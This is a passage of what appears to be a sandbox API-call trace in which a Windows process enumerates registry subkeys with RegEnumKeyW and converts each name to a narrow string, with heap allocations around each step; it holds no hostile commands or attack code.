cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.536] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0247.536] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.536] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.536] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.536] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.537] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0xa8b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0247.537] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.537] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0xa8c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0247.537] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.537] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.537] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.537] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.537] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0xa8b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0247.537] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.537] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0xa8c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0247.537] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.537] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.537] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.537] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.537] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0xa8b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0247.537] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.537] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0xa8c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0247.537] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.537] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.538] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.538] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.538] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0xa8b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0247.538] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.538] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0247.538] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.538] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.538] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.538] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.538] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0xa8b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0247.538] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.538] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0xa8c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0247.538] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.538] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.538] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.538] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.538] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0xa8b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0247.538] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.538] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0247.538] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.538] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.539] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.539] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.539] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0xa8b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0247.539] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.539] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0xa8c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0247.539] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.539] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.539] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.539] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.539] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0xa8b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0247.539] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.539] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0xa8c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0247.539] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.539] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.539] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.539] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.539] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0xa8b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0247.539] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.539] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0xa8c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0247.539] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.539] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.540] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0xa8b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0247.540] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.540] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0xa8c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0247.540] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.540] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0xa8b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0247.540] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.540] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0xa8c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0247.540] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.540] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0xa8b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0247.540] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.540] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0247.540] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.540] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.541] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.541] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0xa8b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0247.541] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.541] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0xa8c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0247.541] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.541] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.541] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.541] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.541] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0xa8b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0247.541] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.541] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0247.541] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.541] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.541] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.541] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.541] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0xa8b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0247.541] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0247.541] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0xa8c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0247.541] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.541] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.602] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.602] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.602] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0xa8b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0247.602] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.602] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0247.602] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.603] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.603] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.603] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.603] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0xa8b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0247.603] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.603] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0xa8c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0247.603] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.603] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.603] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.603] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.603] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0xa8b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0247.603] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.603] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0247.603] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.603] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.603] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.603] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.603] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0xa8b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0247.603] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.603] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0xa8c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0247.603] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.604] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.604] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.604] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8bbb8) returned 1 [0247.604] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0xa8b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0247.604] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8bbb8 [0247.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.604] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0247.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0247.604] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c0d8 [0247.604] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0247.604] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c0d8) returned 1 [0247.606] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, 